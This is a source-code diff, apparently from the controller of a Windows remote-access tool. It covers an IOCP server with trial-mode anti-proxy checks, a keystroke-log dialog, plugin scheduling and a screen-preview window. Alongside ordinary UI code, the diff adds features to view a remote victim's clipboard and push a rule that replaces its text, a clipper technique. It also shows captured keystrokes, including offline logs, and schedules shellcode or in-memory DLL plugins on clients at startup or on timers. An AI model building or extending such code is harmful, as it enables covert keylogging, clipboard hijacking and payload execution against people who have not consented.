// 其它错误(如 WSAENOTCONN 短连接刚断)不视为 OS 问题,下一轮再试
if (err == 0) {
This->m_bSioTcpInfoSupported.store(true, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
Mprintf("[Compliance] SIO_TCP_INFO probe OK; server-side anti-proxy RTT monitor armed "
"(threshold=%d ms, trigger after >=%d consecutive median breaches @1Hz).\n",
TcpRttBreachDetector::RTT_THRESHOLD_MS, TcpRttBreachDetector::BREACH_PERSIST_COUNT);
}
}
// —— 步骤 3逐 ctx 取 RTT + 喂检测器 —— 同步释放引用
for (auto* ctx : snap) {
uint32_t rttUs = 0;
int err = QuerySocketTcpRttUs(ctx->sClientSocket, &rttUs);
if (err == 0 && rttUs > 0) {
ctx->SetRttUs(rttUs);
// RttUs 单位是微秒,转毫秒喂检测器
int rttMs = (int)((rttUs + 500) / 1000);
if (ctx->m_RttDetector.Feed(rttMs)) {
// 本 ctx 首次触发:记日志(每个 ctx 都记,便于排查 abusive 来源);
// 全 server 一次性 latch 决定要不要弹框
Mprintf("[Compliance] !!! Trial-mode anti-proxy triggered: client=%llu IP=%s "
"median RTT=%d ms (threshold=%d ms).\n",
ctx->ID, ctx->GetPeerName().c_str(),
ctx->m_RttDetector.TriggerMedianMs(),
TcpRttBreachDetector::RTT_THRESHOLD_MS);
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && This->m_hMainWnd) {
// WPARAM 携带 abusive ctx 的 ClientID 低 32 位仅用于展示LPARAM 携带 medianMs
PostMessageA(This->m_hMainWnd, WM_TRIAL_RTT_ABUSE,
(WPARAM)(ctx->ID & 0xFFFFFFFF),
(LPARAM)ctx->m_RttDetector.TriggerMedianMs());
}
}
}
ctx->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
}
}
return 0;
}
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程 DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程
{ {
IOCPServer* This = (IOCPServer*)(lParam); IOCPServer* This = (IOCPServer*)(lParam);
@@ -1010,6 +1189,29 @@ void IOCPServer::OnAccept()
} }
RecordConnection(clientIP); RecordConnection(clientIP);
// 试用版反代理 —— 入站 IP 段检测(即时触发,对合作型代理透明)
//
// 与 RttPollThreadProc 的 SIO_TCP_INFO 检测互补RTT 测的是"我↔直接 TCP 对端"
// 任何 TCP 终结型代理都能欺骗它;本检测用 Proxy Protocol v2 解出的真实 IP若有
// 或 getpeername 的 raw IP 直接判私网段。
// - 覆盖:直连 WAN、PP2 透出真实 IP 是公网
// - 不覆盖socat / 不发 PP2 的中转 —— 那种场景仍由客户端 LANRttChecker 兜底
//
// 性能:每个新连接走一次 IsPrivateIPv4Str几个位运算不放心跳路径可忽略。
// 不主动断开连接(与 RTT 路径一致仅告警),由运营商看到弹框后自行处置。
// 详见 docs/Compliance_TechnicalMeasures.md口径文档可能比这里更新
if (m_bTrialMode && !LANChecker::IsPrivateIPv4Str(clientIP)) {
Mprintf("[Compliance] !!! Trial-mode WAN inbound: IP=%s (resolved via %s).\n",
clientIP.c_str(),
ContextObject->GetPeerName().empty() ? "getpeername" : "Proxy Protocol v2 or getpeername");
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && m_hMainWnd) {
// CString* 由 OnTrialWanIpAbuse handler 负责 delete与 OnShowErrMessage 一致
PostMessageA(m_hMainWnd, WM_TRIAL_WAN_IP_ABUSE,
(WPARAM)new CString(clientIP.c_str()), 0);
}
}
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer; ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer); ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);

View File

@@ -78,9 +78,19 @@ protected:
void LoadIPWhitelist(); void LoadIPWhitelist();
void LoadIPBlacklist(); void LoadIPBlacklist();
// RTT 反代理(试用版执法)相关。详见 IOCPServer.cpp 中的实现注释。
HANDLE m_hRttThread = NULL;
bool m_bTrialMode = false; // StartServer 时根据 IsTrail(passcode) 缓存
std::atomic<bool> m_bSioTcpInfoProbed{false}; // 是否已完成 OS 兼容性探测
std::atomic<bool> m_bSioTcpInfoSupported{false}; // 探测结果(不支持则 RTT 线程会自行退出)
// 全 server 进程一次性 latchIP 段触发与 RTT 触发共用。任一先触发后另一者只记日志不再弹框,
// 避免对运营商反复打扰;不影响每条 abusive 连接的独立日志。
static std::atomic<bool> s_TrialAbuseWarned;
private: private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam); static DWORD WINAPI ListenThreadProc(LPVOID lParam);
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID); BOOL InitializeIOCP(VOID);
VOID OnAccept(); VOID OnAccept();

View File

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
#define IDM_ENABLE_OFFLINE 0x0010 #define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011 #define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012 #define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog // CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{ {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1); m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。 // 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
capStr.Format(_T("%04X"), caps); capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr); m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
} }
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
} }
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
//{{AFX_DATA_MAP(CKeyBoardDlg) //{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit); DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP //}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
} }
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_CLOSE() ON_WM_CLOSE()
ON_WM_SYSCOMMAND() ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP //}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP() END_MESSAGE_MAP()
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
__super::PostNcDestroy(); __super::PostNcDestroy();
} }
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog() BOOL CKeyBoardDlg::OnInitDialog()
{ {
__super::OnInitDialog(); __super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建 // 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。 // 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// ----------------------------------------------------------------- // -----------------------------------------------------------------
{ RebuildEdit(m_edit);
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
m_edit.SetLimitText(MAXDWORD); // 设置最大长度 m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开 // 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT; BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
case TOKEN_KEYBOARD_DATA: case TOKEN_KEYBOARD_DATA:
AddKeyBoardData(); AddKeyBoardData();
break; break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default: default:
return; return;
} }
} }
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData() void CKeyBoardDlg::AddKeyBoardData()
{ {
// 最后填上0 // 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
__super::OnSize(nType, cx, cy); __super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here // TODO: Add your message handler code here
if (IsWindowVisible()) /* if (IsWindowVisible())
ResizeEdit(); ResizeEdit();
*/
} }
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
DialogBase::OnClose(); DialogBase::OnClose();
} }
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}

View File

@@ -54,6 +54,13 @@
//}}AFX_MSG //}}AFX_MSG
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public:
TextReplace m_TextRule = {};
CEdit m_EditClipText;
CEdit m_EditClipRule;
void RebuildEdit(CEdit& m_edit);
afx_msg void OnBnClickedBtnApplyTextrule();
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
}; };
//{{AFX_INSERT_LOCATION}} //{{AFX_INSERT_LOCATION}}

View File

@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
// 初始化调度模式下拉框 // 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行")); m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行")); m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]")); m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]")); m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
m_comboMode.SetCurSel(SCH_MODE_NONE); m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置 // 加载配置
@@ -106,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
m_listPlugins.DeleteAllItems(); m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" }; const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" }; const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
int index = 0; int index = 0;
for (const auto& dll : m_DllList) { for (const auto& dll : m_DllList) {
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
int runType = cfg ? cfg->RunType : info->RunType; int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode; int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0])); m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0])); m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5)); m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll); m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval; unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount; unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0); m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0); m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
m_comboMode.SetCurSel(mode < 4 ? mode : 0); m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
CString str; CString str;
str.Format(_T("%u"), interval); str.Format(_T("%u"), interval);

View File

@@ -1,6 +1,7 @@
// PreviewTipWnd.cpp // PreviewTipWnd.cpp
#include "stdafx.h" #include "stdafx.h"
#include "PreviewTipWnd.h" #include "PreviewTipWnd.h"
#include "resource.h" // IDI_ICON_SNAPSHOT循环模式标题栏图标
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明 #include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h> #include <gdiplus.h>
@@ -21,6 +22,9 @@ constexpr int LOADING_H = 270;
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd) BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
ON_WM_PAINT() ON_WM_PAINT()
ON_WM_ERASEBKGND() ON_WM_ERASEBKGND()
ON_WM_DESTROY()
ON_WM_SIZE()
ON_WM_GETMINMAXINFO()
END_MESSAGE_MAP() END_MESSAGE_MAP()
CPreviewTipWnd::CPreviewTipWnd() = default; CPreviewTipWnd::CPreviewTipWnd() = default;
@@ -28,11 +32,15 @@ CPreviewTipWnd::CPreviewTipWnd() = default;
CPreviewTipWnd::~CPreviewTipWnd() CPreviewTipWnd::~CPreviewTipWnd()
{ {
// m_image 通过 unique_ptr 自动释放 // m_image 通过 unique_ptr 自动释放
if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
if (m_hIconBig) { ::DestroyIcon(m_hIconBig); m_hIconBig = nullptr; }
} }
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW) BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode, const CStringW& windowTitle)
{ {
m_text = text; m_text = text;
m_loopMode = loopMode; // 注意:影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0; m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0; m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) { if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
@@ -53,25 +61,60 @@ BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text,
HFONT hF = ::CreateFontIndirectW(&lf); HFONT hF = ::CreateFontIndirectW(&lf);
if (hF) m_font.Attach(hF); if (hF) m_font.Attach(hF);
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容 // 窗口类:单发 tooltip 走 CS_SAVEBITS短时显示省 BitBlt
// 循环窗口是长存窗口,加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
LPCTSTR kClass = AfxRegisterWndClass( LPCTSTR kClass = AfxRegisterWndClass(
CS_SAVEBITS, classStyle,
::LoadCursor(NULL, IDC_ARROW), ::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_INFOBK + 1), (HBRUSH)(COLOR_BTNFACE + 1),
NULL); NULL);
// 临时尺寸RecalcLayoutAndResize 会在创建后调整 // 临时尺寸RecalcLayoutAndResize 会在创建后调整
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200); CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
BOOL bOk = CWnd::CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, // 样式选择:
kClass, _T(""), // 单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
WS_POPUP | WS_BORDER, // (不激活、不上任务栏、置顶;光标移开会被主对话框关掉)
rc, pParent, 0); // 循环监视窗口 —— WS_OVERLAPPEDWINDOW (标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框)
// + WS_EX_APPWINDOW强制独立任务栏图标便于多窗口切换
DWORD style = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
: (WS_POPUP | WS_BORDER);
DWORD styleEx = loopMode ? WS_EX_APPWINDOW
: (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
// 单发模式下窗口文本无意义(无标题栏可显示);循环模式下用宽字符 SetWindowTextW 显式设。
BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
if (!bOk) return FALSE; if (!bOk) return FALSE;
if (loopMode && !windowTitle.IsEmpty()) {
::SetWindowTextW(GetSafeHwnd(), windowTitle);
}
// 循环模式:给窗口装上眼睛图标(标题栏 + 任务栏 + Alt-Tab
// ICO 资源里包含 16x16 与 32x32 两份ICON_SMALL/ICON_BIG 各取最佳尺寸。
// HICON 由本类持有,析构时 DestroyIconWM_SETICON 不转移所有权)。
if (loopMode) {
m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
LR_DEFAULTCOLOR);
m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
LR_DEFAULTCOLOR);
if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
if (m_hIconBig) SendMessage(WM_SETICON, ICON_BIG, (LPARAM)m_hIconBig);
}
RecalcLayoutAndResize(); RecalcLayoutAndResize();
ShowWindow(SW_SHOWNOACTIVATE); // 单发:不激活;循环:正常显示,允许接收焦点(系统菜单 / 拖拽 / 最小化都需要可激活)
ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
if (loopMode) {
// 任务栏图标 + 标题在多窗口情况下立刻可见
UpdateWindow();
}
return TRUE; return TRUE;
} }
@@ -102,7 +145,11 @@ void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
m_image = std::move(bmp); m_image = std::move(bmp);
m_hasImage = true; m_hasImage = true;
m_unavailable = false; m_unavailable = false;
RecalcLayoutAndResize(); // 循环模式下窗口尺寸交给用户控制OnSize / WS_THICKFRAME后续帧不再自动重排版
// 只 Invalidate 触发重绘;图像在 OnPaint 中按 client rect 等比例适配。
if (!m_loopMode) {
RecalcLayoutAndResize();
}
if (GetSafeHwnd()) Invalidate(); if (GetSafeHwnd()) Invalidate();
} }
@@ -113,6 +160,44 @@ void CPreviewTipWnd::MarkPreviewUnavailable()
if (GetSafeHwnd()) Invalidate(); if (GetSafeHwnd()) Invalidate();
} }
void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
{
// 仅更新回调订阅m_loopMode 由 Create() 一次性设定,不在这里改 —— 否则
// CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false
// 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
m_loopOwner = ownerHwnd;
m_loopMsg = msgId;
m_clientId = clientId;
}
void CPreviewTipWnd::OnDestroy()
{
// 在窗口实际销毁前回告 owner仅循环模式。owner 据此从映射表擦掉本条目。
// 注意:把字段先置零,避免极端情况下被 PostNcDestroy 再触发一次。
if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
HWND owner = m_loopOwner;
UINT msg = m_loopMsg;
m_loopOwner = nullptr;
m_loopMsg = 0;
// 64 位 clientId 用 LPARAM 指针传递WPARAM 在 32 位 Windows 不够宽。
auto* pId = new uint64_t(m_clientId);
if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
delete pId;
}
}
CWnd::OnDestroy();
}
void CPreviewTipWnd::PostNcDestroy()
{
// 仅循环模式自管理生命周期;单次提示窗口由主对话框 SAFE_DELETE 释放。
bool selfDelete = m_loopMode;
CWnd::PostNcDestroy();
if (selfDelete) {
delete this;
}
}
void CPreviewTipWnd::RecalcLayoutAndResize() void CPreviewTipWnd::RecalcLayoutAndResize()
{ {
HWND hWnd = GetSafeHwnd(); HWND hWnd = GetSafeHwnd();
@@ -181,6 +266,7 @@ void CPreviewTipWnd::OnPaint()
CPaintDC pdc(this); CPaintDC pdc(this);
CRect rcClient; CRect rcClient;
GetClientRect(&rcClient); GetClientRect(&rcClient);
if (rcClient.IsRectEmpty()) return;
// 双缓冲 // 双缓冲
CDC memDC; CDC memDC;
@@ -189,41 +275,115 @@ void CPreviewTipWnd::OnPaint()
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height()); memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
CBitmap* oldBmp = memDC.SelectObject(&memBmp); CBitmap* oldBmp = memDC.SelectObject(&memBmp);
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK)); // 单发 tooltip 用 COLOR_INFOBK系统提示底色循环窗口用 COLOR_BTNFACE普通窗口背景
COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
memDC.FillSolidRect(&rcClient, bg);
CFont* oldFont = memDC.SelectObject(&m_font); CFont* oldFont = memDC.SelectObject(&m_font);
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT)); memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
memDC.SetBkMode(TRANSPARENT); memDC.SetBkMode(TRANSPARENT);
int curY = PADDING; if (m_loopMode) {
if (m_imageDrawW > 0 && m_imageDrawH > 0) { // 循环模式:基于 client rect 动态分配;图像区按 client 大小自适应,文本固定在底部
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH); CRect rcImg, rcText;
DrawImageArea(memDC, rcImg); LayoutForLoopMode(rcClient, rcImg, rcText);
curY += m_imageDrawH + IMAGE_TEXT_GAP; if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
} else {
// 单发 tooltip保持原行为按 RecalcLayoutAndResize 算好的固定尺寸排版
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
} }
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
memDC.SelectObject(oldFont); memDC.SelectObject(oldFont);
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY); pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(oldBmp); memDC.SelectObject(oldBmp);
} }
void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
{
outImg.SetRectEmpty();
outText.SetRectEmpty();
int innerW = client.Width() - 2 * PADDING;
if (innerW < 50) return; // 太窄,啥也别画,避免计算崩溃
// 计算文本以当前可用宽度换行后的高度(用一份临时 DC
int textH = 0;
{
CClientDC dc(this);
CFont* old = dc.SelectObject(&m_font);
CRect rcCalc(0, 0, innerW, 32767);
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
textH = rcCalc.Height();
dc.SelectObject(old);
}
// 文本固定在底部
outText.SetRect(client.left + PADDING,
client.bottom - PADDING - textH,
client.right - PADDING,
client.bottom - PADDING);
// 图像区占顶部剩余空间
outImg.SetRect(client.left + PADDING,
client.top + PADDING,
client.right - PADDING,
outText.top - IMAGE_TEXT_GAP);
// 高度不足以放图像(被压扁)→ 只画文本
if (outImg.Height() < 60) {
outImg.SetRectEmpty();
// 文本提到中间,避免压在底部边缘
outText.MoveToY(client.top + PADDING);
}
}
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc) void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
{ {
if (rc.IsRectEmpty()) return;
// 边框 // 边框
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW)); dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
if (m_hasImage && m_image) { if (m_hasImage && m_image) {
Graphics g(dc.GetSafeHdc()); if (m_loopMode) {
g.SetInterpolationMode(InterpolationModeHighQualityBicubic); // 循环模式:保留长宽比适配 rect黑色背景充当 letterbox 留白
g.SetSmoothingMode(SmoothingModeHighQuality); dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
